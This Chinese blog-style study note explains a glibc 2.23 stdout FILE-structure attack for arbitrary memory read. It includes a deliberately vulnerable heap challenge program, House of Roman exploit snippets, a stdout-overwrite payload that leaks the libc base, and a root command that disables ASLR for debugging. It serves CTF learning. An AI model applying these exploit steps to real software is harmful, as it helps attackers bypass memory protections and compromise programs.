【我的 PWN 学习手札】IO_FILE 之 stdout任意地址读
上一篇文章学会了stdin任意地址写【我的 PWN 学习手札】IO_FILE 之 stdin任意地址写-CSDN博客
本篇关注stdout利用手法,和上篇提及的手法有着异曲同工之妙
文章目录
前言
一、_IO_2_1_stdout_输出链,及利用思路
(一)_IO_2_1_stdout_相关结构体与变量
(二)关键函数_IO_new_file_xsputn分析
1、大于缓冲区的输出直接系统调用
2、缓冲区留有空间未满
3、 填充剩余缓冲区
4、需要刷新缓冲区(缓冲区已满 或 must_flush)
(三)关键函数_IO_new_file_overflow分析
1、_IO_OVERFLOW
2、_IO_NO_WRITES不能置位
3、_IO_CURRENTLY_PUTTING置位,避免进入分支
4、刷新缓冲区
(四)关键函数new_do_write函数分析
(五)总结相关条件
二、利用图示
三、从一道题学习stdout任意地址读(leak libc)
(一)pwn.c
(二)分析与利用
1、House of Roman
2、修改_IO_2_1_stdout_结构体相关指针
3、开启ASLR验证
前言
延续上一篇的故事
我们知道,利用缓冲区,是为了避免进行频繁系统调用耗费资源。
对于stdin来说:
这就类似于从海上进货,不可能每次需要多少就让多少船承载多少来;而是尽量装的满满的,虽然你只需要一点,但是多的我可以存在码头仓库,你需要更多直接在仓库拿就好;仓库用完了,再让船满载进货... ...
对于stdout来说:
类似于从海上发货,不可能每次生产出来一件商品,就让一艘渡轮送出去,这太亏了;因此我们选择在海边码头先屯着,尽可能屯多,或者估计着用户需要期限之前,将囤积的商品一并发出。
这里的“海边码头”就是输出缓冲区,对应_IO_2_1_stdout_结构体中_IO_write_*相关指针。
一、_IO_2_1_stdout_输出链,及利用思路
我们假定能劫持相关指针,实现利用手法。接下来我们看看调用链,有哪些限制是需要注意的。
相关代码的版本为glibc2.23
(一)_IO_2_1_stdout_相关结构体与变量
// libio.h
struct _IO_FILE_plus;
extern struct _IO_FILE_plus _IO_2_1_stdin_;
extern struct _IO_FILE_plus _IO_2_1_stdout_;
extern struct _IO_FILE_plus _IO_2_1_stderr_;
#ifndef _LIBC
#define _IO_stdin ((_IO_FILE*)(&_IO_2_1_stdin_))
#define _IO_stdout ((_IO_FILE*)(&_IO_2_1_stdout_))
#define _IO_stderr ((_IO_FILE*)(&_IO_2_1_stderr_))
-----------------------------------------------------------------------------
// stdfiles.c
# define DEF_STDFILE(NAME, FD, CHAIN, FLAGS) \
struct _IO_FILE_plus NAME \
= {FILEBUF_LITERAL(CHAIN, FLAGS, FD, NULL), \
&_IO_file_jumps};
DEF_STDFILE(_IO_2_1_stdin_, 0, 0, _IO_NO_WRITES);
DEF_STDFILE(_IO_2_1_stdout_, 1, &_IO_2_1_stdin_, _IO_NO_READS);
DEF_STDFILE(_IO_2_1_stderr_, 2, &_IO_2_1_stdout_, _IO_NO_READS+_IO_UNBUFFERED);
-----------------------------------------------------------------------------
// fileops.c
const struct _IO_jump_t _IO_file_jumps =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_file_finish),
JUMP_INIT(overflow, _IO_file_overflow),
JUMP_INIT(underflow, _IO_file_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_default_pbackfail),
JUMP_INIT(xsputn, _IO_file_xsputn),
JUMP_INIT(xsgetn, _IO_file_xsgetn),
JUMP_INIT(seekoff, _IO_new_file_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_new_file_setbuf),
JUMP_INIT(sync, _IO_new_file_sync),
JUMP_INIT(doallocate, _IO_file_doallocate),
JUMP_INIT(read, _IO_file_read),
JUMP_INIT(write, _IO_new_file_write),
JUMP_INIT(seek, _IO_file_seek),
JUMP_INIT(close, _IO_file_close),
JUMP_INIT(stat, _IO_file_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};
libc_hidden_data_def (_IO_file_jumps)
# define _IO_new_file_xsputn _IO_file_xsputn
_IO_size_t
_IO_new_file_xsputn (_IO_FILE *f, const void *data, _IO_size_t n)
{
const char *s = (const char *) data;
_IO_size_t to_do = n;
int must_flush = 0;
_IO_size_t count = 0;
if (n <= 0)
return 0;
/* This is an optimized implementation.
If the amount to be written straddles a block boundary
(or the filebuf is unbuffered), use sys_write directly. */
/* First figure out how much space is available in the buffer. */
if ((f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING))
{
count = f->_IO_buf_end - f->_IO_write_ptr;
if (count >= n)
{
const char *p;
for (p = s + n; p > s; )
{
if (*--p == '\n')
{
count = p - s + 1;
must_flush = 1;
break;
}
}
}
}
else if (f->_IO_write_end > f->_IO_write_ptr)
count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. */
/* Then fill the buffer. */
if (count > 0)
{
if (count > to_do)
count = to_do;
#ifdef _LIBC
f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);
#else
memcpy (f->_IO_write_ptr, s, count);
f->_IO_write_ptr += count;
#endif
s += count;
to_do -= count;
}
if (to_do + must_flush > 0)
{
_IO_size_t block_size, do_write;
/* Next flush the (full) buffer. */
if (_IO_OVERFLOW (f, EOF) == EOF)
/* If nothing else has to be written we must not signal the
caller that everything has been written. */
return to_do == 0 ? EOF : n - to_do;
/* Try to maintain alignment: write a whole number of blocks. */
block_size = f->_IO_buf_end - f->_IO_buf_base;
do_write = to_do - (block_size >= 128 ? to_do % block_size : 0);
if (do_write)
{
count = new_do_write (f, s, do_write);
to_do -= count;
if (count < do_write)
return n - to_do;
}
/* Now write out the remainder. Normally, this will fit in the
buffer, but it's somewhat messier for line-buffered files,
so we let _IO_default_xsputn handle the general case. */
if (to_do)
to_do -= _IO_default_xsputn (f, s+do_write, to_do);
}
return n - to_do;
}
libc_hidden_ver (_IO_new_file_xsputn, _IO_file_xsputn)
(二)关键函数_IO_new_file_xsputn分析
1、大于缓冲区的输出直接系统调用
/* This is an optimized implementation.
If the amount to be written straddles a block boundary
(or the filebuf is unbuffered), use sys_write directly. */
/* 这是一个优化的实现。如果要写入的数量跨越块边界(或者文件没有缓冲),则直接使用sys write */
注意我们劫持_IO_write_*相关指针,实际上就是劫持输出缓冲区,因此不能够走直接通过系统调用输出的这条优化分支。
2、缓冲区留有空间未满
/* First figure out how much space is available in the buffer. */
if ((f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING)) // 行输出或者当前流正在写入
{
count = f->_IO_buf_end - f->_IO_write_ptr;
if (count >= n) // 剩余缓冲区空间足够大
{
const char *p;
for (p = s + n; p > s;) //从末尾向前找换行符,来确定要输出的部分
{
if (*--p == '\n')
{
count = p - s + 1;
must_flush = 1; // 需要进行刷新
break;
}
}
}
}
else if (f->_IO_write_end > f->_IO_write_ptr) // 不是行缓冲或者没有进行写操作,直接计算缓冲区剩余空间大小
count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. */
这里缓冲区仍有空闲时,会计算空闲长度,以备填充。如果设置了行缓冲区模式或者流正在写入标识,则会检索换行符,对长度做修正,并依据检索结果设置是否需要立即刷新。
3、 填充剩余缓冲区
/* Then fill the buffer. */
if (count > 0) // 缓冲区还有空间
{
if (count > to_do) // 剩余空间大于需要输出的长度
count = to_do; // 只需要用到输出长度大小的空间
#ifdef _LIBC
f->_IO_write_ptr = __mempcpy(f->_IO_write_ptr, s, count);
#else
memcpy(f->_IO_write_ptr, s, count); // (部分或全部)数据放到缓冲区空闲区域
f->_IO_write_ptr += count;
#endif
s += count;
to_do -= count;
}
如果缓冲区剩余空间足够大,大于所需剩余输出长度,则将剩余数据全部复制到缓冲区;否则填满缓冲区。
4、需要刷新缓冲区(缓冲区已满 或 must_flush)
if (to_do + must_flush > 0) // to_do 和 must_flush 实际上都>=0;这里的含义是,只要“必须刷新”,或者“缓冲区已满”,则进行刷新
{
_IO_size_t block_size, do_write;
/* Next flush the (full) buffer. */
if (_IO_OVERFLOW(f, EOF) == EOF)
/* If nothing else has to be written we must not signal the
caller that everything has been written. */
return to_do == 0 ? EOF : n - to_do; // 都输出了,或者仍有 n-to_do 需要输出
/* Try to maintain alignment: write a whole number of blocks. */
block_size = f->_IO_buf_end - f->_IO_buf_base;
do_write = to_do - (block_size >= 128 ? to_do % block_size : 0);
if (do_write)
{
count = new_do_write(f, s, do_write);
to_do -= count;
if (count < do_write)
return n - to_do;
}
/* Now write out the remainder. Normally, this will fit in the
buffer, but it's somewhat messier for line-buffered files,
so we let _IO_default_xsputn handle the general case. */
if (to_do)
to_do -= _IO_default_xsputn(f, s + do_write, to_do);
}
return n - to_do;
可以看到,在此之前只有“目标数据”到“缓冲区”的复制,没有真正进行输出,输出就是在此处,刷新缓冲区中实现的。接下来我们将程序执行流交给_IO_OVERFLOW这个宏、 new_do_write这个函数。
(三)关键函数_IO_new_file_overflow分析
1、_IO_OVERFLOW
// libioP.h
/* The 'overflow' hook flushes the buffer.
The second argument is a character, or EOF.
It matches the streambuf::overflow virtual function. */
typedef int (*_IO_overflow_t) (_IO_FILE *, int);
#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)
------------------------------------------------------------------
// fileops.c
#define _IO_new_file_overflow _IO_file_overflow
------------------------------------------------------------------
可以看到,对标准输出来说,_IO_OVERFLOW这个宏对应的就是_IO_new_file_overflow这个函数
2、_IO_NO_WRITES不能置位
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
// _IO_NO_WRITES标识“不可写”,因此调用overflow属于error
{
f->_flags |= _IO_ERR_SEEN;
__set_errno(EBADF);
return EOF;
}
3、_IO_CURRENTLY_PUTTING置位,避免进入分支
/* If currently reading or no buffer allocated. */
// 如果正在读入,或者buffer还未分配
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
{
/* Allocate a buffer if needed. */
// 分配缓冲区
if (f->_IO_write_base == NULL)
{
_IO_doallocbuf(f);
_IO_setg(f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);
}
/* Otherwise must be currently reading.
If _IO_read_ptr (and hence also _IO_read_end) is at the buffer end,
logically slide the buffer forwards one block (by setting the
read pointers to all point at the beginning of the block). This
makes room for subsequent output.
Otherwise, set the read pointers to _IO_read_end (leaving that
alone, so it can continue to correspond to the external position). */
if (__glibc_unlikely(_IO_in_backup(f)))
{
size_t nbackup = f->_IO_read_end - f->_IO_read_ptr;
_IO_free_backup_area(f);
f->_IO_read_base -= MIN(nbackup,
f->_IO_read_base - f->_IO_buf_base);
f->_IO_read_ptr = f->_IO_read_base;
}
if (f->_IO_read_ptr == f->_IO_buf_end)
f->_IO_read_end = f->_IO_read_ptr = f->_IO_buf_base;
f->_IO_write_ptr = f->_IO_read_ptr;
f->_IO_write_base = f->_IO_write_ptr;
f->_IO_write_end = f->_IO_buf_end;
f->_IO_read_base = f->_IO_read_ptr = f->_IO_read_end;
f->_flags |= _IO_CURRENTLY_PUTTING;
if (f->_mode <= 0 && f->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
f->_IO_write_end = f->_IO_write_ptr;
}
可以看到里面对_IO_write_*相关指针进行了赋值,这不是我们希望的,因为我们目标就是控制这些指针,而此时被修改成其他数值。因此我们将flag的_IO_CURRENTLY_PUTTING进行置位,即可越过这个分支。
4、刷新缓冲区
if (ch == EOF) // 写入字符ch == EOF,表示要刷新缓冲区
// 将缓冲区的内容写到目标文件
return _IO_do_write(f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base);
if (f->_IO_write_ptr == f->_IO_buf_end) /* Buffer is really full */ //缓冲区已满,肯定要刷新
if (_IO_do_flush(f) == EOF) // 刷新缓冲区,如果失败,返回EOF
return EOF;
*f->_IO_write_ptr++ = ch; //写入字符到缓冲区
if ((f->_flags & _IO_UNBUFFERED) || ((f->_flags & _IO_LINE_BUF) && ch == '\n')) //如果文件流是无缓冲或者行缓冲且要写入换行,则立即刷新缓冲区
if (_IO_do_write(f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base) == EOF)
return EOF;
return (unsigned char)ch;
调用_IO_do_write函数,实际调用new_do_write函数
(四)关键函数new_do_write函数分析
// fileops.c
#define _IO_new_do_write _IO_do_write
int _IO_new_do_write(_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
return (to_do == 0 || (_IO_size_t)new_do_write(fp, data, to_do) == to_do) ? 0 : EOF;
}
libc_hidden_ver(_IO_new_do_write, _IO_do_write)
static _IO_size_t
new_do_write(_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
_IO_size_t count;
if (fp->_flags & _IO_IS_APPENDING)
/* On a system without a proper O_APPEND implementation,
you would need to sys_seek(0, SEEK_END) here, but is
not needed nor desirable for Unix- or Posix-like systems.
Instead, just indicate that offset (before and after) is
unpredictable. */
fp->_offset = _IO_pos_BAD;
else if (fp->_IO_read_end != fp->_IO_write_base)
{
_IO_off64_t new_pos = _IO_SYSSEEK(fp, fp->_IO_write_base - fp->_IO_read_end, 1);
if (new_pos == _IO_pos_BAD)
return 0;
fp->_offset = new_pos;
}
count = _IO_SYSWRITE(fp, data, to_do);
if (fp->_cur_column && count)
fp->_cur_column = _IO_adjust_column(fp->_cur_column - 1, data, count) + 1;
_IO_setg(fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base;
fp->_IO_write_end = (fp->_mode <= 0 && (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
? fp->_IO_buf_base
: fp->_IO_buf_end);
return count;
}
因为我们已经劫持了_IO_write_*相关指针,因此在这里我们希望直接进行_IO_SYSWRITE操作。为此,简单将flag的_IO_IS_APPENDING置位,就可以跳出if-else if,避免进入else if中的_IO_SYSSEEK调用造成未知的不好影响。
至此,我们到达了通过_IO_SYSWRITE系统调用,输出劫持的_IO_write_base到_IO_write_ptr的内容,实现了任意地址读。
(五)总结相关条件
在_IO_write_*相关指针可控的条件下,还需要满足:
- 设置 _f lag &~ _IO_NO_WRITES ,即 设置 _f _flag &~ 0x8。
- 设置 flag & _IO_CURRENTLY_PUTTING ,即 _flag | 0x800
- 设置 _ fileno 为1。
- 设置 _IO_write_base 指向想要泄露的地方; _IO_write_ptr 指向泄露结束的地址。
- 设置 _IO_read_end 等于 _IO_write_base 或设置 _flag & _IO_IS_APPENDING, 即 _flag | 0x1000。
- 设置 _IO_write_end 等于 _flag & _IO_write_ptr (非必须)。
满足上述条件,可实现任意读。
二、利用图示
劫持 _IO_write_base 和 _IO_write_ptr 分别指向要泄露区域的开始和结尾,并绕过、满足诸多判断条件。
然后就可以将data1打印出来。
三、从一道题学习stdout任意地址读(leak libc)
(一)pwn.c
#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>
char *chunk_list[0x100];
void menu() {
puts("1. add chunk");
puts("2. delete chunk");
puts("3. edit chunk");
puts("4. show chunk");
puts("5. exit");
puts("choice:");
}
int get_num() {
char buf[0x10];
read(0, buf, sizeof(buf));
return atoi(buf);
}
void add_chunk() {
puts("index:");
int index = get_num();
puts("size:");
int size = get_num();
chunk_list[index] = malloc(size);
}
void delete_chunk() {
puts("index:");
int index = get_num();
free(chunk_list[index]);
}
void edit_chunk() {
puts("index:");
int index = get_num();
puts("length:");
int length = get_num();
puts("content:");
read(0, chunk_list[index], length);
}
void show_chunk() {
puts("index:");
int index = get_num();
puts(chunk_list[index]);
}
int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
while (1) {
menu();
switch (get_num()) {
case 1:
add_chunk();
break;
case 2:
delete_chunk();
break;
case 3:
edit_chunk();
break;
case 4:
show_chunk();
break;
case 5:
exit(0);
default:
puts("invalid choice.");
}
}
}
(二)分析与利用
还是用这个漏洞利用学习的模板代码,着重研究不用show的leak libc。思路如下:
1.House of Roman将_IO_2_1_stdout_ malloc出来
2.更改_IO_2_1_stdout_结构体以leak libc
1、House of Roman
也算是回顾一下这种利用手法
首先关闭随机化
sudo su
echo 0 > /proc/sys/kernel/randomize_va_space
选择fake_chunk的位置
然后House of Roman:
- 申请0x70、0xa0、0x70个大小的chunk
- 释放0xa0的chunk
- 申请合适大小chunk切割剩余0x70大小的chunk
- 申请被切割剩余的chunk,合法更改数据,指向fake_chunk
- UAF+off-by-one更改指针,构造fastbin链尾指向fake_chunk
add(0,0x68)
add(1,0x98)
add(2,0x68)
delete(1)
add(3,0x28)
add(1,0x68)
edit(1,p16(0xc5dd))
delete(0)
delete(2)
edit(2,b'\xa0')
申请出fake_chunk,然后对_IO_2_stdout_进行修改
2、修改_IO_2_1_stdout_结构体相关指针
payload=b'\x00'*(0xc620-0xc5ed)
payload+=p64(0xfbad1800)
payload+=p64(0)*3 #read ptr\end\base
payload+=p8(0x00) #write base-low-byte
edit(6,payload)
调试一下,把libc承接下来
io.recvn(0x40+1)
libc.address=u64(io.recv(6).ljust(8,b'\x00'))-0x39c600
success(hex(libc.address))